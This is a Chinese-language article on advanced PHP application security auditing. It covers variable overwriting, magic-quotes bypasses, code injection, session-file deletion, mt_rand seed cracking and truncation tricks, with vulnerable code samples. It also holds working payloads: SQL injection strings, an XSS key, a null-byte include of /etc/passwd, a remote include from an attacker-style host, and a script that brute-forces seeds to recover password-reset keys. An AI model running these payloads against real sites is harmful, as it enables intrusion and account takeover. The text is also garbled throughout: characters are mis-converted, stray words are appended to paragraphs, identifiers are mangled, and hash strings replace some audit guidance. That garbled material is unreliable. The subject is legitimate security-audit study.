高級PHP應用程序漏洞審覈技術

前言

PHP是一種被普遍使用的腳本語言,尤爲適合於web開發。具備跨平臺,容易學習,功能強大等特色,據統計全世界有超過34%的網站有php的應 用,包括Yahoo、sina、16三、sohu等大型門戶網站。並且不少具名的web應用系統(包括bbs,blog,wiki,cms等等)都是使用 php開發的,Discuz、phpwind、phpbb、vbb、wordpress、boblog等等。隨着web安全的熱點升級,php應用程序的 代碼安全問題也逐步興盛起來,愈來愈多的安全人員投入到這個領域,愈來愈多的應用程序代碼漏洞被披露。php

針對這樣一個情況,不少應用程序的官方都成立了安所有門,或者僱傭安全人員進行代碼審計,所以出現了不少自動化商業化的代碼審計工具。也就是這樣的 形勢致使了一個局面:大公司的產品安全係數大大的提升,那些很明顯的漏洞基本滅絕了,那些你們都知道的審計技術都無用武之地了。html

咱們面對不少工具以及大牛掃描過n遍的代碼,有不少的安全人員有點悲觀,而有的官方安全人員也很是的放心本身的代碼,可是不要忘記了「沒有絕對的安全」,咱們應該去尋找新的途徑挖掘新的漏洞。本文就給介紹了一些非傳統的技術經驗和你們分享。mysql

另外在這裏特別說明一下本文裏面不少漏洞都是來源於網絡上牛人和朋友們的分享,在這裏須要感謝他們 :)程序員

傳統的代碼審計技術

WEB應用程序漏洞查找基本上是圍繞兩個元素展開:變量與函數。也就是說一漏洞的利用必須把你提交的惡意代碼經過變量通過n次變量轉換傳遞,最終傳遞給目標函數執行,還記得MS那句經典的名言嗎?「一切輸入都是有害的」。web

這句話只強調了變量輸入,不少程序員把「輸入」理解爲只是gpc[$_GET,$_POST,$_COOKIE],可是變量在傳遞過程產生了n多的變化。致使不少過濾只是個「紙老虎」!咱們換句話來描敘下代碼安全:「一切進入函數的變量是有害的」算法

PHP代碼審計技術用的最多也是目前的主力方法:靜態分析,主要也是經過查找容易致使安全漏洞的危險函數,經常使用的如grep,findstr等搜索 工具,不少自動化工具也是使用正則來搜索這些函數。下面列舉一些經常使用的函數,也就是下文說的字典(暫略)。可是目前基本已有的字典很難找到漏洞,因此咱們 須要擴展咱們的字典,這些字典也是本文主要探討的。sql

其餘的方法有:經過修改PHP源代碼來分析變量流程,或者hook危險的函數來實現對應用程序代碼的審覈,可是這些也依靠了咱們上面提到的字典。shell

PHP版本與應用代碼審計

到目前爲止,PHP主要有3個版本:php四、php五、php6,使用比例大體以下:數據庫

php4 68% 2000-2007,No security fixes after 2008/08,最終版本是php4.4.9
php5 32% 2004-present,Now at version 5.2.6(PHP 5.3 alpha1 released!)
php6   目前還在測試階段,變化不少作了大量的修改,取消了不少安全選項如magic_quotes_gpc(這個不是今天討論的範圍)

因爲php缺乏自動升級的機制,致使目前PHP版本並存,也致使不少存在漏洞沒有被修補。這些有漏洞的函數也是咱們進行WEB應用程序代碼審計的重點對象,也是咱們字典重要來源。apache

其餘的因素與應用代碼審計

不少代碼審計者拿到代碼就看,他們忽視了「安全是一個總體」,代碼安全不少的其餘因素有關係,好比上面咱們談到的PHP版本的問題,比較重要的還有 操做系統類型(主要是兩大陣營win/*nix),WEB服務端軟件(主要是iis/apache兩大類型)等因素。這是因爲不一樣的系統不一樣的WEB SERVER有着不一樣的安全特色或特性,下文有些部分會涉及。

因此咱們在作某個公司WEB應用代碼審計時,應該瞭解他們使用的系統,WEB服務端軟件,PHP版本等信息。

擴展咱們的字典

下面將詳細介紹一些非傳統PHP應用代碼審計一些漏洞類型和利用技巧。

變量自己的key

說到變量的提交不少人只是看到了GET/POST/COOKIE等提交的變量的值,可是忘記了有的程序把變量自己的key也當變量提取給函數處理。

  1. <?php
  2. //key.php?aaaa'aaa=1&bb'b=2
  3. //print_R($_GET);
  4. foreach ($_GET AS $key => $value)
  5. {
  6. print $key."\n";
  7. }
  8. ?>

上面的代碼就提取了變量自己的key顯示出來,單純對於上面的代碼,若是咱們提交URL:

key.php?<script>alert(1);</script>=1&bbb=2

那麼就致使一個xss的漏洞,擴展一下若是這個key提交給include()等函數或者sql查詢呢?:)

漏洞審計策略
PHP版本要求:無 md5-9f2f1d115a7b72c89ed0cc63ef8f6e45

變量覆蓋

不少的漏洞查找者都知道extract()這個函數在指定參數爲EXTR_OVERWRITE或者沒有指定函數能夠致使變量覆蓋,可是還有不少其餘狀況致使變量覆蓋的如:

遍歷初始化變量

請看以下代碼:

  1. <?php
  2. //var.php?a=fuck
  3. $a='hi';
  4. foreach($_GET as $key => $value) {
  5. $$key = $value;
  6. }
  7. print $a;
  8. ?>

不少的WEB應用都使用上面的方式(注意循環不必定是foreach),如Discuz!4.1的WAP部分的代碼:

  1. $chs = '';
  2. if($_POST && $charset != 'utf-8') {
  3. $chs = new Chinese('UTF-8', $charset);
  4. foreach($_POST as $key => $value) {
  5. $$key = $chs->Convert($value);
  6. }
  7. unset($chs);
漏洞審計策略
PHP版本要求:無 md5-9f2f1d115a7b72c89ed0cc63ef8f6e45
parse_str()變量覆蓋漏洞
  1. //var.php?var=new
  2. $var = 'init';
  3. parse_str($_SERVER['QUERY_STRING']);
  4. print $var;

該函數同樣能夠覆蓋數組變量,上面的代碼是經過$SERVER'QUERYSTRING'來提取變量的,對於指定了變量名的咱們能夠經過注射「=」來實現覆蓋其餘的變量:

  1. //var.php?var=1&a[1]=var1%3d222
  2. $var1 = 'init';
  3. parse_str($a[$_GET['var']]);
  4. print $var1;

上面的代碼經過提交$var來實現對$var1的覆蓋。

漏洞審計策略(parse_str)
PHP版本要求:無 md5-b615dea1edf6b93dec7a7e623fe8570f
漏洞審計策略(mb_parse_str)
PHP版本要求:php4<4.4.7 php5<5.2.2 md5-993116e42a531d2a9696f09ff87a836d
importrequestvariables()變量覆蓋漏洞
  1. //var.php?_SERVER[REMOTE_ADDR]=10.1.1.1
  2. echo 'GLOBALS '.(int)ini_get("register_globals")."n";
  3. import_request_variables('GPC');
  4. if ($_SERVER['REMOTE_ADDR'] != '10.1.1.1') die('Go away!');
  5. echo 'Hello admin!';
漏洞審計策略(import_request_variables)
PHP版本要求:php4<4.4.1 php5<5.2.2 md5-16ecd2d1e750dd44df8702198bb34005
PHP5 Globals

從嚴格意義上來講這個不能夠算是PHP的漏洞,只能算是一個特性,測試代碼:

  1. <?
  2. // register_globals =ON
  3. //foo.php?GLOBALS[foobar]=HELLO
  4. php echo $foobar;
  5. ?>

可是不少的程序沒有考慮到這點,請看以下代碼:

  1. //爲了安全取消全局變量
  2. //var.php?GLOBALS[a]=aaaa&b=111
  3. if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k});
  4. print $a;
  5. print $_GET[b];

若是熟悉WEB2.0的攻擊的同窗,很容易想到上面的代碼咱們能夠利用這個特性進行crsf攻擊。

漏洞審計策略
PHP版本要求:無 md5-9f2f1d115a7b72c89ed0cc63ef8f6e45

magicquotesgpc與代碼安全

什麼是magicquotesgpc

當打開時,全部的 '(單引號),"(雙引號),\(反斜線)和 NULL 字符都會被自動加上一個反斜線進行轉義。還有不少函數有相似的做用 如:addslashes()、mysqlescapestring()、mysqlrealescapestring()等,另外還有parsestr()後的變量也受magicquotesgpc的影響。目前大多數的主機都打開了這個選項,而且不少程序員也注意使用上面那些函數去過濾變量,這看上去很安全。不少漏洞查找者或者工具遇到些函數過濾後的變量直接就放棄,可是就在他們放棄的同時也放過不少致命的安全漏洞。 :)

哪些地方沒有魔術引號的保護

1) $_SERVER變量

PHP5的$SERVER變量缺乏magicquotes_gpc的保護,致使近年來X-Forwarded-For的漏洞猛暴,因此不少程序員考慮過濾X-Forwarded-For,可是其餘的變量呢?

漏洞審計策略($_SERVER變量)
PHP版本要求:無 md5-4719e19bf61ce5a6f1990d5f2933da5c

2) getenv()獲得的變量(使用相似$_SERVER變量)

漏洞審計策略($_SERVER變量)
PHP版本要求:無 md5-14827d95fcdd8129f3cd0db2aef588da

3) $HTTPRAWPOST_DATA與PHP輸入、輸出流

主要應用與soap/xmlrpc/webpublish功能裏,請看以下代碼:

  1. if ( !isset( $HTTP_RAW_POST_DATA ) ) {
  2. $HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
  3. }
  4. if ( isset($HTTP_RAW_POST_DATA) )
  5. $HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);
漏洞審計策略(數據流)
PHP版本要求:無 md5-874b5384b6942c4ee6f84e7a5119faa5

4) 數據庫操做容易忘記'的地方如:in()/limit/order by/group by

如Discuz!<5.0的pm.php:

  1. if(is_array($msgtobuddys)) {
  2. $msgto = array_merge($msgtobuddys, array($msgtoid));
  3. ......
  4. foreach($msgto as $uid) {
  5. $uids .= $comma.$uid;
  6. $comma = ',';
  7. }
  8. ......
  9. $query = $db->query("SELECT m.username, mf.ignorepm FROM {$tablepre}members m
  10. LEFT JOIN {$tablepre}memberfields mf USING(uid)
  11. WHERE m.uid IN ($uids)");
漏洞審計策略
PHP版本要求:無 md5-9730da3b833abb10b92c9467e93bd99c
變量的編碼與解碼

一個WEB程序不少功能的實現都須要變量的編碼解碼,並且就在這一轉一解的傳遞過程當中就悄悄的繞過你的過濾的安全防線。

這個類型的主要函數有:

1) stripslashes() 這個其實就是一個decode-addslashes()

2) 其餘字符串轉換函數:

base64_decode 對使用 MIME base64 編碼的數據進行解碼
base64_encode 使用 MIME base64 對數據進行編碼
rawurldecode 對已編碼的 URL 字符串進行解碼
rawurlencode 按照[RFC 1738](http://tools.ietf.org/html/rfc1738)對URL進行編碼
urldecode 解碼已編碼的 URL 字符串
urlencode 編碼 URL 字符串
... ...

另一個 unserialize/serialize

3) 字符集函數(GKB,UTF7/8...)如iconv()/mbconvertencoding()等

目前不少漏洞挖掘者開始注意這一類型的漏洞了,如典型的urldecode:

$sql = "SELECT * FROM article WHERE articleid='".urldecode($_GET[id])."'";

當magicquotesgpc=on時,咱們提交?id=%2527,獲得sql語句爲:

SELECT * FROM article WHERE articleid='''

漏洞審計策略
PHP版本要求:無 md5-3637ab9cc92ae883c91f6c21e3f6dba4
二次攻擊

詳細見附錄[1]

1)數據庫出來的變量沒有進行過濾

2)數據庫的轉義符號:

  1. mysql/oracle轉義符號一樣是\(咱們提交'經過魔術引號變化爲\',當咱們update進入數據庫時,經過轉義變爲'
  2. mssql的轉義字符爲'(因此咱們提交'經過魔術引號變化爲\'mssql會把它當爲一個字符串直接處理,因此魔術引號對於mssql的注射沒有任何意義)

從這裏咱們能夠思考獲得一個結論:一切進入函數的變量都是有害的,另外利用二次攻擊咱們能夠實現一個webrootkit,把咱們的惡意構造直接放到數據庫裏。咱們應當把這樣的代碼當作一個vul?

漏洞審計策略
PHP版本要求:無 md5-9f2f1d115a7b72c89ed0cc63ef8f6e45
魔術引號帶來的新的安全問題

首先咱們看下魔術引號的處理機制:

[\-->\\,'-->\',"-->\",null-->\0]

這給咱們引進了一個很是有用的符號「\」,「\」符號不只僅是轉義符號,在WIN系統下也是目錄轉跳的符號。這個特色可能致使php應用程序裏產生很是有意思的漏洞:

1)獲得原字符(',\,",null])

  1. $order_sn=substr($_GET['order_sn'], 1);
  2. //提交 '
  3. //魔術引號處理 \'
  4. //substr '
  5. $sql = "SELECT order_id, order_status, shipping_status, pay_status, ".
  6. " shipping_time, shipping_id, invoice_no, user_id ".
  7. " FROM " . $ecs->table('order_info').
  8. " WHERE order_sn = '$order_sn' LIMIT 1";

2)獲得「\」字符

$ordersn=substr($GET['order_sn'], 0,1);

  1. //提交 '
  2. //魔術引號處理 \'
  3. //substr \
  4. $sql = "SELECT order_id, order_status, shipping_status, pay_status, ".
  5. " shipping_time, shipping_id, invoice_no, user_id ".
  6. " FROM " . $ecs->table('order_info').
  7. " WHERE order_sn = '$order_sn' and order_tn='".$_GET['order_tn']."'";

提交內容:

?order_sn='&order_tn=%20and%201=1/*

執行的SQL語句爲:

  1. SELECT order_id, order_status, shipping_status, pay_status, shipping_time,
  2. shipping_id, invoice_no, user_id FROM order_info WHERE order_sn = '\' and
  3. order_tn=' and 1=1/*'
漏洞審計策略
PHP版本要求:無 md5-0ba2f0cfb75760bb29bc9c7344e943d3
變量key與魔術引號

咱們最在這一節的開頭就提到了變量key,PHP的魔術引號對它有什麼影響呢?

  1. <?php
  2. //key.php?aaaa'aaa=1&bb'b=2
  3. //print_R($_GET);
  4. foreach ($_GET AS $key => $value)
  5. {
  6. print $key."\n";
  7. }
  8. ?>

1)當magicquotesgpc = On時,在php5.24下測試顯示:

  1. aaaa\'aaa
  2. bb\'b

從上面結果能夠看出來,在設置了magicquotesgpc = On下,變量key受魔術引號影響。可是在php4和php<5.2.1的版本中,不處理數組第一維變量的key,測試代碼以下:

  1. <?php
  2. //key.php?aaaa'aaa[bb']=1
  3. print_R($_GET);
  4. ?>

結果顯示:

  1. Array ( [aaaa'aaa] => Array ( [bb\'] => 1 ) )

數組第一維變量的key不受魔術引號的影響。

漏洞審計策略
PHP版本要求:php4和php<5.2.1 md5-9f2f1d115a7b72c89ed0cc63ef8f6e45

2)當magicquotesgpc = Off時,在php5.24下測試顯示:

  1. aaaa'aaa
  2. bb'b

對於magicquotesgpc = Off時全部的變量都是不安全的,考慮到這個,不少程序都經過addslashes等函數來實現魔術引號對變量的過濾,示例代碼以下:

  1. <?php
  2. //keyvul.php?aaa'aa=1'
  3. //magic_quotes_gpc = Off
  4. if (!get_magic_quotes_gpc())
  5. {
  6. $_GET = addslashes_array($_GET);
  7. }
  8. function addslashes_array($value)
  9. {
  10. return is_array($value) ? array_map('addslashes_array', $value) : addslashes($value);
  11. }
  12. print_R($_GET);
  13. foreach ($_GET AS $key => $value)
  14. {
  15. print $key;
  16. }
  17. ?>

以上的代碼看上去很完美,可是他這個代碼裏addslashes($value)只處理了變量的具體的值,可是沒有處理變量自己的key,上面的代碼顯示結果以下:

  1. Array
  2. (
  3. [aaa'aa] => 1\'
  4. )
  5. aaa'aa
漏洞審計策略
PHP版本要求:無 md5-9f2f1d115a7b72c89ed0cc63ef8f6e45

代碼注射

PHP中可能致使代碼注射的函數

不少人都知道eval、preg_replace+/e能夠執行代碼,可是不知道php還有不少的函數能夠執行代碼如:

  1. assert()
  2. call_user_func()
  3. call_user_func_array()
  4. create_function()
  5. 變量函數
  6. ...

這裏咱們看看最近出現的幾個關於create_function()代碼執行漏洞的代碼:

  1. <?php
  2. //how to exp this code
  3. $sort_by=$_GET['sort_by'];
  4. $sorter='strnatcasecmp';
  5. $databases=array('test','test');
  6. $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);
  7. ';
  8. usort($databases, create_function('$a, $b', $sort_function));
漏洞審計策略
PHP版本要求:無 md5-0232e542bbb413c6eee26d4a4b697547
變量函數與雙引號

對於單引號和雙引號的區別,不少程序員深有體會,示例代碼:

  1. echo "$a\n";
  2. echo '$a\n';

咱們再看以下代碼:

  1. //how to exp this code
  2. if($globals['bbc_email']){
  3. $text = preg_replace(
  4. array("/\[email=(.*?)\](.*?)\[\/email\]/ies",
  5. "/\[email\](.*?)\[\/email\]/ies"),
  6. array('check_email("$1", "$2")',
  7. 'check_email("$1", "$1")'), $text);

另外不少的應用程序都把變量用""存放在緩存文件或者config或者data文件裏,這樣很容易被人注射變量函數。

漏洞審計策略
PHP版本要求:無 md5-9f2f1d115a7b72c89ed0cc63ef8f6e45

PHP自身函數漏洞及缺陷

PHP函數的溢出漏洞

你們還記得Stefan Esser大牛的Month of PHP Bugs(MOPB見附錄2)項目麼,其中比較有名的要算是unserialize(),代碼以下:

unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data']);

在以往的PHP版本里,不少函數都曾經出現過溢出漏洞,因此咱們在審計應用程序漏洞的時候不要忘記了測試目標使用的PHP版本信息。

漏洞審計策略
PHP版本要求:對應fix的版本 md5-79c2cd2b05e4468ae477ea741f08d9fa
PHP函數的其餘漏洞

Stefan Esser大牛發現的漏洞:unset()--ZendHashDelKeyOr_Index Vulnerability 好比phpwind早期的serarch.php裏的代碼:

  1. unset($uids);
  2. ......
  3. $query=$db->query("SELECT uid FROM pw_members WHERE username LIKE '$pwuser'");
  4. while($member=$db->fetch_array($query)){
  5. $uids .= $member['uid'].',';
  6. }
  7. $uids ? $uids=substr($uids,0,-1) : $sqlwhere.=' AND 0 ';
  8. ........
  9. $query = $db->query("SELECT DISTINCT t.tid FROM $sqltable WHERE $sqlwhere $orderby $limit");
漏洞審計策略
PHP版本要求:php4<4.3 php5<5.14 md5-ad283522b4fbbd41440392a41edc3d75
session_destroy()刪除文件漏洞

測試PHP版本:5.1.2 這個漏洞是幾年前朋友saiy發現的,session_destroy()函數的功能是刪除session文件,不少web應用程序的logout的功能 都直接調用這個函數刪除session,可是這個函數在一些老的版本中缺乏過濾致使能夠刪除任意文件。測試代碼以下:

  1. <?php
  2. //val.php
  3. session_save_path('./');
  4. session_start();
  5. if($_GET['del']) {
  6. session_unset();
  7. session_destroy();
  8. }else{
  9. $_SESSION['hei']=1;
  10. echo(session_id());
  11. print_r($_SESSION);
  12. }
  13. ?>

當咱們提交構造cookie:PHPSESSID=/../1.php,至關於unlink('sess_/../1.php')這樣就經過注射../轉跳目錄刪除任意文件了。不少著名的程序某些版本都受影響如phpmyadmin,sablog,phpwind3等等。

漏洞審計策略
PHP版本要求:具體不詳 md5-5cfddd64912ab1357091e5775f2ee5be
隨機函數

1) rand() VS mt_rand()

  1. <?php
  2. //on windows
  3. print mt_getrandmax(); //2147483647
  4. print getrandmax();// 32767
  5. ?>

能夠看出rand()最大的隨機數是32767,這個很容易被咱們暴力破解。

  1. <?php
  2. $a= md5(rand());
  3. for($i=0;$i<=32767;$i++){
  4. if(md5($i) ==$a ) {
  5. print $i."-->ok!!<br>";exit;
  6. }else { print $i."<br>";}
  7. }
  8. ?>

當咱們的程序使用rand處理session時,攻擊者很容易暴力破解出你的session,可是對於mt_rand是很難單純的暴力的。

漏洞審計策略
PHP版本要求:無 md5-ab6d55d013a366bf4c6e8583d6212014

2) mt_srand()/srand()-weak seeding(by Stefan Esser)

看php手冊裏的描述:

mt_srand (PHP 3 >= 3.0.6, PHP 4, PHP 5)

mt_srand -- 播下一個更好的隨機數發生器種子。說明

void mt_srand ( int seed )

用 seed 來給隨機數發生器播種。從 PHP 4.2.0 版開始,seed 參數變爲可選項,當該項爲空時,會被設爲隨時數。

例子 1. mt_srand() 範例

  1. <?php
  2. // seed with microseconds
  3. function make_seed()
  4. {
  5. list($usec, $sec) = explode(' ', microtime());
  6. return (float) $sec + ((float) $usec * 100000);
  7. }
  8. mt_srand(make_seed());
  9. $randval = mt_rand();
  10. ?>

注: 自 PHP 4.2.0 起,再也不須要用 srand() 或 mt_srand() 函數給隨機數發生器播種,現已自動完成。

php從4.2.0開始實現了自動播種,可是爲了兼容,後來使用相似於這樣的代碼播種:

mt_srand ((double) microtime() * 1000000)

可是使用(double)microtime()*1000000相似的代碼seed是比較脆弱的:

0<(double) microtime()<1 ---> 0<(double) microtime()* 1000000<1000000

那麼很容易暴力破解,測試代碼以下:

  1. <?php
  2. /////////////////
  3. //>php rand.php
  4. //828682
  5. //828682
  6. ////////////////
  7. ini_set("max_execution_time",0);
  8. $time=(double) microtime()* 1000000;
  9. print $time."\n";
  10. mt_srand ($time);
  11. $search_id = mt_rand();
  12. $seed = search_seed($search_id);
  13. print $seed;
  14. function search_seed($rand_num) {
  15. $max = 1000000;
  16. for($seed=0;$seed<=$max;$seed++){
  17. mt_srand($seed);
  18. $key = mt_rand();
  19. if($key==$rand_num) return $seed;
  20. }
  21. return false;
  22. }
  23. ?>

從上面的代碼實現了對seed的破解,另外根據Stefan Esser的分析seed還根據進程變化而變化,換句話來講同一個進程裏的seed是相同的。 而後同一個seed每次mt_rand的值都是特定的。以下圖:

  1. seed-A
  2. mt_rand-A-1
  3. mt_rand-A-2
  4. mt_rand-A-3
  5. seed-B
  6. mt_rand-B-1
  7. mt_rand-B-2
  8. mt_rand-B-3

對於seed-A裏mtrand-1/2/3都是不相等的,可是值都是特定的,也就是說當seed-A等於seed-B,那麼mtrand-A-1就等於mtrand-B-1…,這樣咱們只要可以獲得seed就能夠獲得每次mtrand的值了。

對於5.2.6>php>4.2.0直接使用默認播種的程序也是不安全的(不少的安全人員錯誤的覺得這樣就是安全的),這個要分兩種狀況來分析:

  • 第一種:'Cross Application Attacks',這個思路在Stefan Esser文章裏有提到,主要是利用其餘程序定義的播種(如mt_srand ((double) microtime()* 1000000)),phpbb+wordpree組合就存在這樣的危險.
  • 第二種:5.2.6>php>4.2.0默認播種的算法也不是很強悍,這是Stefan Esser的文章裏的描述:

  • The Implementation

    • When mtrand() is seeded internally or by a call to mtsrand() PHP 4 and PHP 5 <= 5.2.0 force the lowest bit to 1. Therefore the strength of the seed is only 31 and not 32 bits. In PHP 5.2.1 and above the implementation of the Mersenne Twister was changed and the forced bit removed.

在32位系統上默認的播種的種子爲最大值是2^32,這樣咱們循環最多2^32次就能夠破解seed。而在PHP 4和PHP 5 <= 5.2.0 的算法有個bug:奇數和偶數的播種是同樣的(詳見附錄3),測試代碼以下:

  1. <?php
  2. mt_srand(4);
  3. $a = mt_rand();
  4. mt_srand(5);
  5. $b = mt_rand();
  6. print $a."\n".$b;
  7. ?>

經過上面的代碼發現$a==$b,因此咱們循環的次數爲232/2=231次。咱們看以下代碼:

  1. <?php
  2. //base on http://www.milw0rm.com/exploits/6421
  3. //test on php 5.2.0
  4. define('BUGGY', 1); //上面代碼$a==$b時候定義BUGGY=1
  5. $key = wp_generate_password(20, false);
  6. echo $key."\n";
  7. $seed = getseed($key);
  8. print $seed."\n";
  9. mt_srand($seed);
  10. $pass = wp_generate_password(20, false);
  11. echo $pass."\n";
  12. function wp_generate_password($length = 12, $special_chars = true) {
  13. $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
  14. if ( $special_chars )
  15. $chars .= '!@#$%^&*()';
  16. $password = '';
  17. for ( $i = 0; $i < $length; $i++ )
  18. $password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
  19. return $password;
  20. }
  21. function getseed($resetkey) {
  22. $max = pow(2,(32-BUGGY));
  23. for($x=0;$x<=$max;$x++) {
  24. $seed = BUGGY ? ($x << 1) + 1 : $x;
  25. mt_srand($seed);
  26. $testkey = wp_generate_password(20,false);
  27. if($testkey==$resetkey) { echo "o\n"; return $seed; }
  28. if(!($x % 10000)) echo $x / 10000;
  29. }
  30. echo "\n";
  31. return false;
  32. }
  33. ?>

運行結果以下:

  1. php5>php rand.php
  2. M8pzpjwCrvVt3oobAaOr
  3. 0123456789101112131415161718192021222324252627282930313233343536373839404142434
  4. 445464748495051525354555657585960616263646566676869
  5. 7071727374757677787980818283848586878889909192939495969798991001011021031041051
  6. 061071081091101111121131141151161171181191201211221
  7. 2312412512612712812913013113213313413513613713813914014114214314414514614714814
  8. 915015115215315415515615715815916016116216316416516
  9. 6167168169170171172173174175176177178179180181182183184185186187188189190191192
  10. 193194195196197198199200201202203204205206207208209
  11. 2102112122132142152162172182192202212222232242252262272282292302312322332342352
  12. 362372382392402412422432442452462472482492502512522
  13. ..............01062110622106231062410625106261062710628106291063010631106321063
  14. 3o
  15. 70693
  16. pjwCrvVt3oobAaOr

當10634次時候咱們獲得告終果。

當PHP版本到了5.2.1後,經過修改算法修補了奇數和偶數的播種相等的問題,這樣也致使了php5.2.0先後致使同一個播種後的mt_rand()的值不同。好比:

  1. <?php
  2. mt_srand(42);
  3. echo mt_rand();
  4. //php<=5.20 1387371436
  5. //php>5.20 1354439493
  6. ?>

正是這個緣由,也要求了咱們的exp的運行環境:當目標>5.20時候,咱們exp運行的環境也要是>5.20的版本,反過來也是同樣。

從上面的測試及分析來看,php<5.26無論有沒有定義播種,mtrand處理的數據都是不安全的。在web應用裏不少都使用mtrand來處理隨機的session,好比密碼找回功能等等,這樣的後果就是被攻擊者惡意利用直接修改密碼。

不少著名的程序都產生了相似的漏洞如wordpress、phpbb、punbb等等。(在後面咱們將實際分析下國內著名的bbs程序Discuz!的mt_srand致使的漏洞)

漏洞審計策略
PHP版本要求:php4 php5<5.2.6 md5-e5f53bc4e451a67ad5c30ecea9547c87

特殊字符

其實「特殊字符」也沒有特定的標準定義,主要是在一些code hacking發揮着特殊重做用的一類字符。下面就舉幾個例子:

截斷

其中最有名的數你們都熟悉的null字符截斷。

include截斷
  1. <?php
  2. include $_GET['action'].".php";
  3. ?>

提交"action=/etc/passwd%00"中的"%00"將截斷後面的".php",可是除了"%00"還有沒有其餘的字符能夠實現截斷 使用呢?確定有人想到了遠程包含的url裏問號「?」的做用,經過提交"action=http://www.hacksite.com/evil- code.txt?"這裏「?」實現了「僞截斷」:),好象這個看上去不是那麼舒服那麼咱們簡單寫個代碼fuzz一下:

  1. <?php
  2. ////////////////////
  3. ////var5.php代碼:
  4. ////include $_GET['action'].".php";
  5. ////print strlen(realpath("./"))+strlen($_GET['action']);
  6. ///////////////////
  7. ini_set('max_execution_time', 0);
  8. $str='';
  9. for($i=0;$i<50000;$i++)
  10. {
  11. $str=$str."/";
  12. $resp=file_get_contents('http://127.0.0.1/var/var5.php?action=1.txt'.$str);
  13. //1.txt裏的代碼爲print 'hi';
  14. if (strpos($resp, 'hi') !== false){
  15. print $i;
  16. exit;
  17. }
  18. }
  19. ?>

通過測試字符「.」、「 /」或者2個字符的組合,在必定的長度時將被截斷,win系統和*nix的系統長度不同,當win下strlen(realpath(". /"))+strlen($_GET['action'])的長度大於256時被截斷,對於*nix的長度是4 * 1024 = 4096。對於php.ini裏設置遠程文件關閉的時候就能夠利用上面的技巧包含本地文件了。(此漏洞由cloie#ph4nt0m.org最早發現])

數據截斷

對於不少web應用文件在不少功能是不允許重複數據的,好比用戶註冊功能等。通常的應用程序對於提交註冊的username和數據庫裏已有的 username對比是否是已經有重複數據,然而咱們能夠經過「數據截斷」等來饒過這些判斷,數據庫在處理時候產生截斷致使插入重複數據。

1) Mysql SQL Column Truncation Vulnerabilities

這個漏洞又是大牛Stefan Esser發現的(Stefan Esser是個人偶像:)),這個是因爲mysql的sqlmode設置爲default的時候,即沒有開啓STRICTALL_TABLES選項時,MySQL對於插入超長的值只會提示warning,而不是error(若是是error就插入不成功),這樣可能會致使一些截斷問題。測試以下:

  1. mysql> insert into truncated_test(`username`,`password`) values("admin","pass");
  2. mysql> insert into truncated_test(`username`,`password`) values("admin x", "new_pass");
  3. Query OK, 1 row affected, 1 warning (0.01 sec)
  4. mysql> select * from truncated_test;
  5. +----+------------+----------+
  6. | id | username | password |
  7. +----+------------+----------+
  8. | 1 | admin | pass |
  9. | 2 | admin | new_pass |
  10. +----+------------+----------+
  11. 2 rows in set (0.00 sec)

2) Mysql charset Truncation vulnerability

這個漏洞是80sec發現的,當mysql進行數據存儲處理utf8等數據時對某些字符致使數據截斷。測試以下:

  1. mysql> insert into truncated_test(`username`,`password`) values(concat("admin",0xc1), "new_pass2");
  2. Query OK, 1 row affected, 1 warning (0.00 sec)
  3. mysql> select * from truncated_test;
  4. +----+------------+----------+
  5. | id | username | password |
  6. +----+------------+----------+
  7. | 1 | admin | pass |
  8. | 2 | admin | new_pass |
  9. | 3 | admin | new_pass2 |
  10. +----+------------+----------+
  11. 2 rows in set (0.00 sec)

不少的web應用程序沒有考慮到這些問題,只是在數據存儲前簡單查詢數據是否包含相同數據,以下代碼:

  1. $result = mysql_query("SELECT * from test_user where user='$user' ");
  2. ....
  3. if(@mysql_fetch_array($result, MYSQL_NUM)) {
  4. die("already exist");
  5. }
漏洞審計策略
PHP版本要求:無 md5-9f2f1d115a7b72c89ed0cc63ef8f6e45
文件操做裏的特殊字符

文件操做裏有不少特殊的字符,發揮特別的做用,不少web應用程序沒有注意處理這些字符而致使安全問題。好比不少人都知道的windows系統文件 名對「空格」和「.」等的忽視,這個主要體如今上傳文件或者寫文件上,致使直接寫webshell。另外對於windows系統對「...\」進行系統轉 跳等等。 下面還給你們介紹一個很是有意思的問題:

  1. //Is this code vul?
  2. if( eregi(".php",$url) ){
  3. die("ERR");
  4. }
  5. $fileurl=str_replace($webdb[www_url],"",$url);
  6. .....
  7. header('Content-Disposition: attachment; filename='.$filename);

不少人看出來了上面的代碼的問題,程序首先禁止使用「.php」後綴。可是下面竟然接了個strreplace替換$webdbwwwurl爲空,那麼咱們提交「.p$webdbwww_urlhp」就能夠饒過了。那麼上面的代碼雜fix呢?有人給出了以下代碼:

  1. $fileurl=str_replace($webdb[www_url],"",$url);
  2. if( eregi(".php",$url) ){
  3. die("ERR");
  4. }

strreplace提到前面了,很完美的解決了strreplace代碼的安全問題,可是問題不是那麼簡單,上面的代碼在某些系統上同樣能夠突破。接下來咱們先看看下面的代碼:

  1. <?php
  2. for($i=0;$i<255;$i++) {
  3. $url = '1.ph'.chr($i);
  4. $tmp = @file_get_contents($url);
  5. if(!empty($tmp)) echo chr($i)."\r\n";
  6. }
  7. ?>

咱們在windows系統運行上面的代碼獲得以下字符* < > ? P p均可以打開目錄下的1.php。

漏洞審計策略
PHP版本要求:無 md5-eab7bef0c1900e1e0fd6d8c2ef28d4ef

怎麼進一步尋找新的字典

上面咱們列舉不少的字典,可是不少都是已經公開過的漏洞或者方式,那麼咱們怎麼進一步找到新的字典或者利用方式呢?

  • 分析和學習別人發現的漏洞或者exp,總結出漏洞類型及字典
  • 經過學習php手冊或者官方文檔,挖掘出新的有危害的函數或者利用方式
  • fuzz php的函數,找到新的有問題的函數(不必定非要溢出的),如上一章的4.6的部分不少均可以簡單的fuzz腳本能夠測試出來
  • 分析php源代碼,發現新的漏洞函數「特性」或者漏洞。(在上一節裏介紹的那些「漏洞審計策略」裏,都沒有php源代碼的分析,若是你要進一步找 到新的字典,能夠在php源代碼的基礎上分析下成因,而後根據這個成因來分析尋找新的漏洞函數「特性」或者漏洞。)(咱們之後會陸續公佈一些咱們對php 源代碼的分析)
